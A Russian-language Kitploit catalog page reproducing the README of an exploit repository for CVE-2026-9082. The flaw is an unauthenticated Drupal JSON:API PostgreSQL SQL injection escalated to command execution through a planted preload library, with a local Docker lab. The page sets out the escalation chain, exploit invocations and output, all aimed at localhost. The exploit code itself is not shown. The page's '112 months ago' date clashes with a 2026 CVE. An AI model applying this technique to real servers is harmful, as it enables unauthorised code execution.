Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-9082-drupal-postgresql-rce — Эксплойт для Drupal JSON:API PostgreSQL SQL-инъекции, приводящей к RCE через native preload library. Включает локальную Docker-лабораторию для тестирования путей эскалации PostgreSQL 12–18+. | Kitploit
Инструменты/GitHubGitHub/ambionics/cve-2026-9082-drupal-postgresql-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиБезопасность Баз ДанныхЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Лаборатории и Практика
GitHubambionics/cve-2026-9082-drupal-postgresql-rce

cve-2026-9082-drupal-postgresql-rce

Эксплойт для Drupal JSON:API PostgreSQL SQL-инъекции, приводящей к RCE через native preload library. Включает локальную Docker-лабораторию для тестирования путей эскалации PostgreSQL 12–18+.

Репозиторий
112 месяцев назадЕщё не проверено

CVE-2026-9082 Drupal PostgreSQL SQLi to RCE

Этот репозиторий содержит локальную лабораторию и короткий эксплойт для SQL-инъекции в Drupal JSON:API PostgreSQL, описанной в статье Ambionics.

Важная часть эксплойта — эскалация привилегий PostgreSQL: когда инъекция может вычислить выражение SELECT как суперпользователь PostgreSQL, он записывает нативную библиотеку предзагрузки через большие объекты, перезагружает postgresql.auto.conf, запускает session_preload_libraries и получает вывод команды с помощью pg_read_file().

Эксплойт сначала читает version(), а затем строит магический блок модуля PostgreSQL для обнаруженной основной версии. Он поддерживает компоновки ABI модулей PostgreSQL 12, 13–14, 15–17 и 18+. Локальный компилятор всё ещё должен создать разделяемый объект для той же архитектуры ЦП, что и целевой сервер PostgreSQL.

Лаборатория использует PostgreSQL 18.4 — последнюю версию PostgreSQL на момент написания. Путь эскалации PostgreSQL протестирован от PostgreSQL 12.20 до PostgreSQL 18.4.

Содержание

root@kitploit:~
.
├── docker-compose.yml
├── drupal/
│   ├── Dockerfile
│   ├── entrypoint.sh
│   └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md

Лаборатория использует:

root@kitploit:~
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache

Drupal подключён к PostgreSQL как суперпользователь postgres, поэтому SQL-инъекция, ограниченная SELECT, может быть повышена до RCE.

Требования

root@kitploit:~
docker compose version
python3 --version
cc --version

Пример вывода:

root@kitploit:~
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0

Запуск лаборатории

Соберите и запустите контейнеры:

root@kitploit:~
docker compose build --quiet
docker compose up -d

Ожидаемый вывод:

root@kitploit:~
Container cve9082-pg18    Started
Container cve9082-drupal  Started

Дождитесь, пока Drupal станет здоровым:

root@kitploit:~
docker compose ps

Ожидаемый вывод:

root@kitploit:~
NAME              SERVICE   STATUS
cve9082-pg18      db        Up ... (healthy)
cve9082-drupal    drupal    Up ... (healthy)

Лаборатория слушает на:

root@kitploit:~
http://127.0.0.1:8089

Проверка лаборатории

Проверьте версию PostgreSQL:

root@kitploit:~
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'

Ожидаемый вывод:

root@kitploit:~
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit

Проверьте, что JSON:API отображает добавленную статью:

root@kitploit:~
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'

Ожидаемый вывод:

root@kitploit:~
{
    "jsonapi": {
        "version": "1.0"
    },
    "data": [
        {
            "type": "node--article"
        }
    ]
}

Установка зависимостей Python

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

Ожидаемый вывод:

root@kitploit:~
Successfully installed requests-...

Запуск эксплойта

Выполните id через неаутентифицированную SQL-инъекцию JSON:API:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id

Ожидаемый вывод:

root@kitploit:~
[+] checking SQL injection context
    version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
    current_user: postgres superuser=True
    data_directory: /var/lib/postgresql/18/docker
    module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
    1400/14080 bytes
    ...
    14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
    189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

__exit=0
[+] restoring/clearing PostgreSQL preload settings
    152/152 bytes

Выполните другую команду:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'

Ожидаемый вывод:

root@kitploit:~
[+] reading command output
Linux ... x86_64 GNU/Linux

__exit=0

Остановка лаборатории

Остановите контейнеры, сохранив том базы данных:

root@kitploit:~
docker compose down

Остановите контейнеры и удалите том базы данных:

root@kitploit:~
docker compose down -v
Скачать инструмент